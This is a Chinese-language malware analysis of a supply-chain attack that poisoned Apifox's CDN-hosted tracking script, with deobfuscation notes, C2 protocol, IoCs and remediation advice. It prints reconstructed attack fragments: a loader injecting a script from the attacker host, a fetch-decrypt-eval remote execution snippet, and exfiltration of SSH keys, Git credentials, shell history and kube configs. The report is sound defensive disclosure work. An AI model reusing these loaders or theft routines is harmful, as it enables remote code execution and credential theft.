Apifox 供应链投毒攻击 — 完整技术分析

2026/03/25 WEB

一、概述

近日，工作中监测到 Apifox 文件存在被投毒情况。

Apifox 是一款 API 一体化协作平台，其桌面端应用基于 **Electron** 框架开发，提供 **Windows、macOS、Linux** 三平台客户端。因未严格启用 `sandbox` 参数，并暴露了 Node.js 的 API 接口，导致攻击者可通过 JS 控制 Apifox 的终端——**三个平台均受影响。**

Apifox 在启动过程中会加载：

```
hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js
```

该文件正常大小为 **34KB**，但在 **3 月 4 日之后**可能会请求到被投毒的版本（**77KB**）。被投毒的 JS 文件会动态加载 `hxxps://apifox[.]it[.]com/public/apifox-event.js` （该域名非官方域名），在满足特定条件下加载攻击载荷，采集主机系统环境和敏感信息（SSH 密钥、Git 凭证、命令行历史、进程列表），上报到 `hxxps://apifox[.]it[.]com/event/0/log` 。后续攻击者会控制主机拉取执行后门程序，并尝试发起横向攻击，控制更多有价值目标。

目前入口文件已被还原，仅在 Wayback Machine 存档中可见投毒版本。

关于 `apifox.it.com` 域名

攻击者使用的 C2 域名 `apifox.it.com` 极具迷惑性，值得单独说明。

`.it.com` 并非意大利国别域名 `.it` 的子域，而是一个**商业性质的二级域名服务**，由 `it.com` 域名持有者提供类似"子域名注册"的商业服务。它不属于 ICANN 标准注册局体系，不受标准 gTLD/ccTLD 监管约束，**无公开 WHOIS 信息可查**，注册门槛极低，非常适合被攻击者滥用。

从受害者视角来看， `apifox.it.com` 在第一眼很容易被误认为：

- Apifox 的**内部测试/研发域名**（类似 `apifox.internal.com` ）
- Apifox **意大利区域**的服务域名
- Apifox 官方的某个子产品域名

这种域名选择体现了攻击者在**社会工程学**层面的精心设计——利用域名的视觉相似性和 `.it.com` 的模糊属性来降低被怀疑的概率。

被动 DNS 时间线

通过被动 DNS 查询， `apifox[.]it[.]com` 的历史 A 记录如下：

IP 地址	所属组织	首次发现	最后发现	持续时间
`104.21.2.104`	Cloudflare, Inc.	2026-03-04	2026-03-22	**18 天**
`172.67.129.21`	Cloudflare, Inc.	2026-03-04	2026-03-22	**18 天**

无 AAAA（IPv6）记录，攻击者未配置 IPv6 解析。

关键时间节点：

```
2026-03-04  域名解析上线（Cloudflare 托管），投毒开始
     │
     ├── 03-04 ~ 03-22  活跃期（18天），通过 Cloudflare CDN 分发恶意载荷
     │
```

```
2026-03-22  DNS 记录下线，域名不再解析
     |
2026-03-25  验证时 DNS 已失效，但源站 IP 仍在响应（C2 后端未关闭）
```

攻击者利用 **Cloudflare** 作为前置 CDN 代理，既隐藏了真实源站 IP，又获得了合法的 HTTPS 证书和全球加速能力，使恶意流量在网络层面更难以与正常 CDN 流量区分。DNS 记录在活跃 18 天后被移除，可能是攻击者主动撤收、也可能是被 Cloudflare 或域名服务商处置。

二、被投毒文件结构

投毒后的 `apifox-app-event-tracking.min.js` （77KB）由两部分组成：

区域	大小	内容
第一部分	~34KB	**合法** Apifox 事件追踪 SDK（Webpack 打包）
第二部分	~42KB	⚠️ **恶意后门代码**（严重混淆）

合法 SDK 包含 GA4、百度统计、阿里云 SLS、PostHog 等多平台事件追踪模块，本身不存在恶意行为。攻击者在该文件末尾**追加**了约 42KB 的严重混淆 JavaScript 代码。

> 注：通过 Wayback Machine 存档获取的版本头部包含约 1KB 的 wombat 代理包装器代码，这是 Wayback Machine 自动注入的回放层，并非投毒文件本身的内容。

三、混淆技术分析

恶意代码采用了 **7 层混淆**，逆向难度极高：

技术	说明
字符串数组旋转	`_0x10e4()` 函数返回 300+ 条编码字符串，通过 IIFE 暴力旋转数组到目标偏移
Base64 + RC4 双层解密	`_0x3fb9()` 解码器对字符串先 Base64 解码，再 RC4 解密还原明文
代理函数	`_0x2c838a` 、 `_0x15440c` 等函数包装解码器，增加间接调用层次
十六进制算术混淆	所有数值常量使用复杂十六进制算术表达式（如 `0x2425+-0x1*-0x415+0x80b*-0x5` 表示简单数字）
控制流扁平化	通过对象属性间接调用函数，打乱执行逻辑顺序
死代码注入	大量永远不会执行的代码分支，增加分析干扰
反调试陷阱	`toString` 正则检测 + 条件无限递归，检测到调试器则触发死循环

反混淆过程

通过精确复现 Base64 解码和 RC4 解密逻辑，暴力枚举字符串数组的旋转偏移量（最终确定为偏移 275），成功解密全部 300+ 条编码字符串，还原出完整的恶意代码逻辑。

四、反混淆后的恶意代码分析

完整还原后的恶意代码为纯 Node.js 脚本，核心功能如下：

4.1 嵌入 RSA-2048 私钥

恶意代码中硬编码了一个 RSA-2048 私钥（PKCS#8 格式，1703 字符），用于：

- **加密**上报的敏感信息：从私钥中提取公钥，使用 `publicEncrypt` （OAEP 填充）加密后附加到 HTTP 请求头
- **解密** C2 服务器下发的指令：使用 `privateDecrypt` （OAEP + SHA-256）解密 Stage-1 payload

```
const PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
O/JYR80HQvCZMd6QEOmHNdI9tTQfVNHvU/31MhMymSQMq2cCx5+RbJ1fSQ9/5rkx
...（共 24 行）...
1HPFW7rGjV82Fu3No+rLjlo=
-----END PRIVATE KEY-----`;
```

> 注：攻击者将私钥嵌入客户端代码，这使得任何获取该代码的人都能解密 C2 通信——这是攻击者的设计失误，也是本次分析能够完整还原攻击链的关键。

4.2 机器指纹采集

恶意代码通过以下字段构造机器唯一标识：

```
MAC地址 + CPU型号 + 主机名 + 用户主目录 + 操作系统平台
```

将拼接的字符串进行 SHA-256 哈希，得到 64 字符的十六进制指纹（ `af_uuid` ），存储在 `localStorage` 的 `_rl_mc` 键中。

4.3 Apifox 用户凭证窃取

恶意代码从 `localStorage` 读取 `common.accessToken` （Apifox 登录令牌），利用该令牌调用官方 API 获取用户信息：

```
GET hxxps://api[.]apifox[.]com/api/v1/user
Authorization: <accessToken>
```

从响应中提取用户 **邮箱** 和 **姓名**，经 RSA 加密后附加到后续请求头中。

4.4 C2 通信协议

恶意代码向 C2 服务器发送带有以下自定义 HTTP 头的请求：

Header 字段	内容	加密方式
`af_uuid`	机器指纹 SHA-256	明文
`af_os`	操作系统类型 + 版本号	明文
`af_user`	用户主目录路径	RSA-2048 OAEP
`af_name`	主机名	RSA-2048 OAEP
`af_apifox_user`	Apifox 账户邮箱	RSA-2048 OAEP
`af_apifox_name`	Apifox 账户姓名	RSA-2048 OAEP

4.5 远程代码执行

```
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // ⚠️ 任意远程代码执行
```

从 C2 获取 RSA 加密的 payload → 私钥解密 → `eval()` **直接执行**，实现完全的远程代码执行能力。

4.6 持久化机制

执行完毕后，通过 `setTimeout` 在 **30 分钟 ~ 3 小时**的随机间隔后重新执行整个流程，只要 Apifox 应用保持运行，恶意代码就会持续活跃。

五、攻击载荷深度分析

通过提取的 RSA 私钥解密 C2 返回的数据，我们获得了攻击者实际下发的完整攻击载荷。攻击分为两个阶段：

5.1 Stage-1：加载器（Loader）

C2 服务器（`hxxps://apifox[.]it[.]com/public/apifox-event.js`）返回 **344 字节**的 Base64 编码 RSA 加密数据，解密后为：

```
(function(){
  var s = document.createElement('script');
  s.src = 'hxxps://apifox[.]it[.]com/<随机8位hex>.js';
  s.onload = function(){ s.parentNode && s.parentNode.removeChild(s) };
  document.head.appendChild(s)
})()
```

关键特点：

- **路径随机化**：每次请求生成不同的 Stage-2 文件名（如 `b8ee3b68.js`、`f51782ec.js`、`c74fe621.js`），阻碍基于 URL 的检测
- **用完即焚**：历史路径访问返回 404，只有最新生成的路径有效
- **反取证**：脚本加载完毕后自动从 DOM 中移除 `<script>` 标签
- **服务端绑定**：C2 服务器读取 Stage-1 请求中的 `af_uuid` header，将其硬编码到 Stage-2 代码中，实现客户端追踪

5.2 Stage-2 v1：信息窃取（collectPreInformations）

Stage-2 为**明文** Node.js 脚本（约 3,400 字节），代码中保留了完整的中文开发注释（详见 5.4 节）。

窃取目标

全平台通用：

- `~/.ssh/` — 递归读取整个目录（私钥、公钥、config、known_hosts、authorized_keys）

macOS / Linux 额外窃取：

- `~/.zsh_history` — Zsh 命令行历史（含密码、Token、内部 URL）
- `~/.bash_history` — Bash 命令行历史
- `~/.git-credentials` — Git 明文凭证（GitHub PAT、GitLab Token）
- `ps aux` — 完整进程列表

Windows 额外窃取：

- `tasklist` — 进程列表

数据外泄协议

```
原始 JSON → Gzip 压缩 → AES-256-GCM 加密 → Base64 编码 → POST 上传
```

AES 加密参数：

- **密码**：`apifox`
- **盐值**：`foxapi`
- **密钥派生**：`scryptSync(password, salt, 32)`
- IV：12 字节随机值
- **格式**：`Base64(IV[12] + AuthTag[16] + CipherText)`

上传端点：

```
POST hxxps://apifox[.]it[.]com/event/0/log
Content-Type: text/plain
af_uuid: <Stage-2代码中硬编码的机器指纹>
Body: <AES-256-GCM 加密数据>
```

5.3 Stage-2 v2：纵深窃取（collectAddInformations）

在持续监控中发现 C2 服务器已**升级攻击载荷**（约 4,400 字节），新增了第二轮窃取，上报到不同端点 `/event/2/log`：

新增窃取目标	说明
`~/.zshrc`	Shell 环境变量（可能含 API Key、Vault 地址、数据库连接串）
`~/.npmrc`	npm registry 认证 token
`~/.kube/*`	Kubernetes 集群配置（含 OIDC refresh token、集群 API 地址）
`~/.subversion/*`	SVN 凭证
目录树遍历	主目录、桌面、文档目录结构（深度 1-2 层），Windows 额外扫描 D:\、E:\、F:\

这表明攻击者在首轮窃取完成后，根据受害者环境**定制后续攻击策略**，逐步扩大窃取范围。

5.4 关于 Stage-2 代码中的中文注释

值得注意的是，C2 下发的 Stage-2 攻击载荷——这些由服务端动态生成、RSA 加密传输的"机密"脚本——在解密后竟然保留了**完整的中文开发注释**，例如：

```
const salt = "foxapi"; // 盐值也必须提供
// scryptSync 会根据密码和盐值，计算出一个确定的 32 字节密钥
/**
 * 使用 AES-256-GCM 加密数据
 */
const tag = cipher.getAuthTag(); // 获取认证标签
// 返回格式: IV + AuthTag + EncryptedData (全 Base64)
/**
 * 递归读取目录，返回 { "相对路径": "base64内容" }
 */
/**
 * 安全读取单个文件，返回 base64 或 null
 */
```

```
/**
 * 安全执行命令，返回 stdout 或 null
 */
/**
 * 收集系统预信息，返回 gzip 压缩后的 base64 字符串（内容为 JSON）
 */
// --- 1. 目录结构获取 (Tree) ---
// --- 2. 关键文件内容获取 (Files) ---
path: "/event/2/log", // 使用 2/log 区分
```

攻击者在入口文件中精心部署了 7 层混淆、反调试陷阱和 RSA 加密通信，却在服务端下发的实际攻击载荷中留下了如此详尽的中文注释，甚至包括对加密参数的"教学式"说明（如"盐值也必须提供""scryptSync 会根据密码和盐值，计算出一个确定的 32 字节密钥"）。这种前后矛盾的 OPSEC 水平差异耐人寻味——可能暗示入口混淆层和后端载荷并非同一人编写，或者攻击者认为 RSA 加密传输已经足够安全，不必再对载荷本身做处理。

5.5 未捕获的后续阶段：完整的灵活 C2 平台

必须强调：目前我们捕获到的 Stage-2 v1 和 v2 仅为前期侦察和凭据采集阶段，并非攻击的终点。

从架构设计来看，这套恶意软件本质上是一个**完整且高度灵活的远程代码执行（RCE）平台**：

```
eval(rsaDecrypt(c2_response))  ←  C2 服务器可以下发任意 JavaScript 代码
```

每一次 Apifox 启动后的定时轮询（30 分钟 ~ 3 小时），C2 服务器都可以返回**完全不同的攻击载荷。**我们观测到的 v1（凭据采集）和 v2（纵深窃取）只是攻击者选择在侦察阶段下发的脚本，但该架构完全支持：

潜在后续阶段	说明
高价值目标筛选	根据已回传的 SSH 密钥（目标服务器）、K8s 配置（集群规模）、Git 仓库（代码价值）、Apifox 邮箱（所属公司）等信息，识别金融、加密货币交易所、云服务商等高价值目标
定制化攻击载荷	针对筛选出的高价值目标，下发量身定制的脚本——例如针对特定银行内网环境的横向移动工具、针对特定 K8s 集群的持久化后门
后门植入	下发独立的持久化后门程序，脱离 Apifox 进程独立运行（概述中已提及"后续攻击者会控制主机拉取执行后门程序"）
横向移动	利用窃取的 SSH 密钥直接登录内网服务器，利用 K8s OIDC Token 接管集群
数据窃取	针对性地下载源代码、数据库备份、密钥管理系统中的证书
供应链二次投毒	利用窃取的 npm Token 或 Git 凭证，向受害者的开源项目注入恶意代码，扩大攻击面

攻击者的完整作战流程可以理解为：

```
广撒网（投毒 CDN）→ 侦察（v1/v2 凭据采集）→ 筛选高价值目标 → 定制化精准打击
                    ↑                                          |
                    └──── 每次轮询可下发不同指令 ←──────────────┘
```

由于 `eval()` 可以执行任意代码，且每次轮询返回的载荷可以完全不同，攻击者在凭据采集阶段之后对特定目标执行了哪些操作，目前无法确知。 受影响用户不能仅因为我们公开的 IoC 中只包含侦

察类行为就假定攻击仅止于此——对于被攻击者标记为高价值的目标，后续可能已经遭受了远超凭据窃取的深度入侵。

六、完整攻击链

```
┌──────────────────────────────────────────────────────────┐
│ 1. Apifox 启动，加载被投毒的 event-tracking.min.js (77KB) │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 2. 恶意代码执行:                                          │
│    · 采集机器指纹 (MAC+CPU+hostname → SHA-256)            │
│    · 窃取 Apifox accessToken，调用官方 API 获取用户邮箱    │
│    · RSA-2048 加密敏感数据                                 │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 3. 请求 C2: GET /public/apifox-event.js                   │
│    Headers: af_uuid, af_os, af_user, af_name...           │
│    返回: RSA 加密的 Stage-1 loader (344 bytes)             │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 4. RSA 解密 Stage-1，执行 eval():                          │
│    动态创建 <script> 标签加载 Stage-2                      │
│    路径: /<随机8位hex>.js (一次性URL，用完即404)           │
│    加载完毕自动删除 <script> 标签                          │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 5. Stage-2 执行 (明文 Node.js):                            │
│    v1 - collectPreInformations:                           │
│      · ~/.ssh/* (全部密钥)                                 │
│      · ~/.zsh_history, ~/.bash_history                    │
│      · ~/.git-credentials                                  │
│      · ps aux / tasklist                                   │
│    v2 - collectAddInformations:                           │
│      · ~/.kube/* (K8s 配置)                                │
│      · ~/.zshrc, ~/.npmrc                                  │
│      · ~/.subversion/*                                     │
│      · 目录树遍历                                          │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 6. 数据外泄:                                              │
│    JSON → Gzip → AES-256-GCM(key=apifox/foxapi) → Base64  │
│    POST /event/0/log  (v1 数据)                            │
│    POST /event/2/log  (v2 数据)                            │
│    Header: af_uuid = <代码中硬编码的机器指纹>              │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌──────────────────────────────────────────────────────────┐
│ 7. 持久化: 30分钟~3小时随机间隔                            │
│    ↻ 回到步骤 3，重新请求 C2 获取指令                      │
│    ⚠️ 每次轮询 C2 可返回完全不同的载荷                     │
└──────────────────────────┬───────────────────────────────┘
                           ▼
┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
  8. ⚠️ 未知后续阶段（未捕获，C2 可在任一轮询中切换）:
│    · 根据已回传信息筛选高价值目标                          │
```

```
      · 为特定目标下发定制化攻击脚本
│     · 植入独立后门，脱离 Apifox 进程驻留                    │
      · SSH 密钥横向移动，渗透内网服务器
│     · K8s Token 接管集群，获取生产环境权限                  │
      · npm/Git Token 二次供应链投毒
│     · 针对特定目标窃取源代码、数据库、证书                  │
└ ─ ─ ─
```

类型	指标
C2 域名	`apifox[.]it[.]com` （非标准 ICANN 域名，无 WHOIS）
域名性质	`.it.com` 商业二级域名服务，非意大利 ccTLD
DNS 活跃期	2026-03-04 至 2026-03-22（18 天）
投毒入口	`hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js` (77KB 版本)
Stage-1 URL	`hxxps://apifox[.]it[.]com/public/apifox-event.js`
Stage-2 URL	`hxxps://apifox[.]it[.]com/<随机8位hex>.js`
数据外泄端点	`hxxps://apifox[.]it[.]com/event/0/log` （v1 窃取数据）
数据外泄端点	`hxxps://apifox[.]it[.]com/event/2/log` （v2 窃取数据）
凭证窃取 API	`hxxps://api[.]apifox[.]com/api/v1/user` （被滥用的合法 API）

部分反混淆后 https://gist.github.com/phith0n/7020c55bf241b2f3ccf5254192bd48a5 js/功能js

部分

主机指标

类型	指标
localStorage 键	`_rl_headers` 、 `_rl_mc`
被读取的凭证	`common.accessToken`
异常 HTTP 头	`af_uuid` 、 `af_os` 、 `af_user` 、 `af_name` 、 `af_apifox_user` 、 `af_apifox_name`
被访问的文件	`~/.ssh/*` 、 `~/.git-credentials` 、 `~/.zsh_history` 、 `~/.bash_history` 、 `~/.kube/*` 、 `~/.npmrc` 、 `~/.zshrc` 、 `~/.subversion/*`
被执行的命令	`ps aux` (Linux/macOS)、 `tasklist` (Windows)

加密指标

类型	指标
RSA 私钥指纹	PKCS#8 格式，1703 字符，模数起始 `MIIEvQIBADANBgkqh...`
AES 密码	`apifox`
AES 盐值	`foxapi`
AES 算法	AES-256-GCM，scryptSync 密钥派生，12 字节 IV

九、Wayback Machine 存档

投毒版本的完整代码可在以下 Wayback Machine 存档中获取：

```
https://web.archive.org/web/20260305160602/https://cdn.apifox.com/www/assets/js/user-tracking.min.js
```

存档时间为 2026 年 3 月 5 日，文件大小 77KB，末尾包含完整的混淆恶意代码。

十、受影响范围与风险评估

受影响人群

- 所有在 **2026 年 3 月 4 日之后**启动过 Apifox 桌面端的用户
- **全平台受影响**：Windows、macOS、Linux 三个操作系统的用户均在攻击范围内，恶意代码针对不同平台实现了差异化的窃取逻辑（macOS/Linux 读取 `.zsh_history` 、 `.bash_history` 、执行 `ps aux` ；Windows 执行 `tasklist` 、额外扫描 D:\E:\F:\ 盘符），不存在"只影响某个平台"的情况
- 特别是拥有 SSH 密钥、Git 凭证、K8s 集群权限的高权限用户

风险等级：🔴 严重（Critical）

已确认的风险（基于已捕获的侦察阶段载荷）：

风险	影响
SSH 私钥泄露	攻击者可直接登录服务器、跳板机，实施横向移动
Git 凭证泄露	源代码仓库被未授权访问，可能引发更大范围的供应链攻击
Shell 历史泄露	暴露内部 URL、数据库连接串、API Key、Vault Token 等硬编码敏感信息
K8s 配置泄露	集群 OIDC Token / kubeconfig 泄露，可能直接获得生产环境集群管理权限
npm Token 泄露	攻击者可向 registry 发布恶意包，扩大供应链攻击面
Apifox 账户泄露	攻击者获取用户邮箱和姓名，可用于定向钓鱼或内部社工

潜在的风险（基于 C2 平台的 RCE 能力，无法排除）：

风险	影响
任意远程代码执行	`eval()` 可执行 C2 下发的任意脚本，完全控制主机
定制化深度入侵	攻击者可根据已回传的凭据，对高价值目标下发量身定制的后续载荷
独立后门驻留	可能已植入脱离 Apifox 进程的独立持久化后门
横向移动	利用窃取的 SSH 密钥、K8s Token 渗透内网，扩大失陷范围
二次供应链投毒	利用窃取的 Git/npm Token 向受害者的开源项目注入恶意代码

十一、攻击时间线总览

日期	事件
2026-03-04	`apifox[.]it[.]com` DNS 解析上线（Cloudflare 托管），CDN 上的 JS 文件开始被投毒
2026-03-05	Wayback Machine 抓取并存档了投毒版本（77KB）
2026-03-12 ~ 03-20	观测到至少 10 次不同的 Stage-2 载荷下发（见第七节 URL 样本）
2026-03-22	`apifox[.]it[.]com` DNS 记录下线，域名不再解析
2026-03-25	CDN 入口文件已被还原为正常版本（34KB），DNS 失效但源站 IP 仍在响应

攻击活跃窗口：**2026-03-04 至 2026-03-22，共计 18 天。**

十二、处置建议

紧急措施

1. **立即停用** Apifox 桌面端应用
2. **轮换**所有 SSH 密钥（`~/.ssh/` 下的全部密钥对）
3. **吊销**所有 Git Personal Access Token（GitHub、GitLab 等）
4. **轮换** K8s 集群 OIDC Token 和 kubeconfig
5. **轮换** npm registry Token
6. **修改**命令行历史中暴露的所有密码、Token 和 API Key
7. **审查**服务器登录日志，检查是否有异常 SSH 登录

检测方法

1. 检查 Electron `localStorage` 中是否存在 `_rl_headers`、`_rl_mc` 键
2. 监控网络流量中是否有到 `apifox[.]it[.]com` 的历史请求流量
3. 检查历史 HTTP 请求头中是否包含 `af_uuid`、`af_os` 等异常字段

长期建议

1. Apifox 应启用 Electron `sandbox` 模式，限制渲染进程的 Node.js API 访问
2. 对加载的远程 JS 文件实施 **Subresource Integrity (SRI)** 校验
3. 建立 CDN 资源的文件完整性监控机制
4. 企业用户应对开发工具类软件的网络通信进行审计

十三、总结

这是一起典型的**供应链攻击**，攻击者通过篡改 Apifox CDN 上的合法 JavaScript 文件，在数万开发者的工作电脑上植入后门。攻击设计精巧：

- **7 层代码混淆**使静态分析极其困难
- **RSA-2048 加密通信**保护 C2 指令不被中间人截获
- **一次性** URL 和 DOM **自清理**增加取证难度
- **AES-256-GCM 加密外泄数据**规避 DLP 检测
- **随机间隔持久化**避免产生规律性网络流量
- `.it.com` **非标准域名**规避 WHOIS 追踪，利用视觉欺骗降低怀疑

然而攻击者也暴露了明显的矛盾——入口文件精心部署了 7 层混淆和反调试陷阱，服务端下发的实际攻击载荷中却留下了详尽的**中文开发注释**，甚至包含"盐值也必须提供""scryptSync 会根据密码和盐值，计算出一个确定的 32 字节密钥"等教学式说明。同时，将 RSA 私钥嵌入客户端代码更是关键失误，使得安全研究人员能够解密全部 C2 通信，完整还原攻击链条并获取实际下发的攻击载荷。

但必须清醒认识到：本次分析捕获到的 Stage-2 v1/v2 仅为前期侦察和凭据采集阶段。 该恶意软件的核心本质是一个基于 `eval()` 的**完整灵活 C2 平台**——C2 服务器在每一次轮询中都可以下发完全不同的任意 JavaScript 代码。攻击者完全有能力根据已回传的机器指纹、Apifox 邮箱（判断所属公司）、SSH 密钥（判断可达服务器）、K8s 配置（判断集群规模和权限）等信息，**筛选出金融机构、加密货币交易所等高价值目标，为其量身定制后续攻击载荷。**

对于这些被标记为高价值的目标，攻击者在侦察阶段之后可能已经执行了远超凭据窃取的深度入侵——包括但不限于后门植入、横向移动、源代码窃取、生产环境接管。受影响用户切不可因为当前公开的 IoC 仅涵盖侦察行为就低估威胁等级，**应当按照"已失陷"的最高级别进行应急响应。**